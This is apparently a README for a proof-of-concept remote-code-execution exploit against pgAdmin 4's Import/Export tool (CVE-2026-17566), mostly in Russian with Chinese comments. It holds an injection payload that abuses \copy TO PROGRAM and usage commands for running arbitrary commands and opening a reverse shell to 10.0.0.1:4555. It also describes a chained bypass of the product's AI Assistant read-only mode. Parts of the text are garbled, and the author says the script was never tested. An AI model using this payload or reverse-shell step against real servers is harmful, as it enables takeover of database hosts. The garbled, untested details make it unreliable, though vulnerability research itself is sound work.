
pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC — инъекция TO PROGRAM через несоответствие экранирования обратной косой черты
PoC удалённого выполнения кода в инструменте Import/Export Data pgAdmin 4. Использует расхождение в семантике экранирования обратной косой черты между проверщиком скобок _is_query_parens_balanced() и psql, чтобы внедрить \copy ... TO PROGRAM и выполнить произвольные команды на сервере, где работает pgAdmin.
Фоновая цепочка атак: CVE-2026-17349 (утечка учётных данных Workspaces) → CVE-2026-17351 (обход режима только для чтения AI Assistant) → данная уязвимость (RCE). Для всех трёх достаточно аутентифицированного пользователя с низкими привилегиями.
Инструмент Import/Export Data вставляет пользовательский SQL в шаблон Jinja для формирования команды psql \copy (...). Самописный проверщик баланса скобок всегда считает \' экранированной кавычкой (это верно только при standard_conforming_strings=off); однако при значении PostgreSQL по умолчанию standard_conforming_strings=on , и кавычка просто закрывается.
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
Проверщик считает, что ) всё ещё находится внутри строки → баланс скобок «пройден»; psql закрывает строку на a\', ) завершает обёртку \copy (...), и TO PROGRAM 'cmd' становится активной инструкцией, выполняемой через popen() в psql.
_is_query_parens_balanced()); исправлено в коммите 1496fabeTO PROGRAM в psql, того же семейства)tools_import_export_data)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| Параметр | Описание |
|---|---|
--url | Базовый URL pgAdmin |
--user / --password (или PGADMIN_PASSWORD) | Учётная запись с низкими привилегиями |
--command | Произвольная команда (не должна содержать одинарных кавычек) |
--reverse HOST:PORT | Создать обратный bash-shell |
--server-id | ID сервера (по умолчанию автоматически берётся первый) |
--file | Имя экспортируемого файла (для построения команды \copy, по умолчанию /tmp/pgadmin_export.csv) |
--no-verify | Пропустить проверку TLS-сертификата |
Процесс: вход в систему (автоматическая обработка CSRF/session) → перечисление серверов → POST /import_export/job/<sid> для отправки сформированного запроса is_query_export.
Только для исследований безопасности, проверки уязвимостей и защитного тестирования. Данный скрипт написан на основе публичного технического анализа и не проверялся на реальной системе; поля запросов могут потребовать настройки под конкретную версию pgAdmin. Запускайте только в авторизованной тестовой среде, не используйте против несанкционированных систем.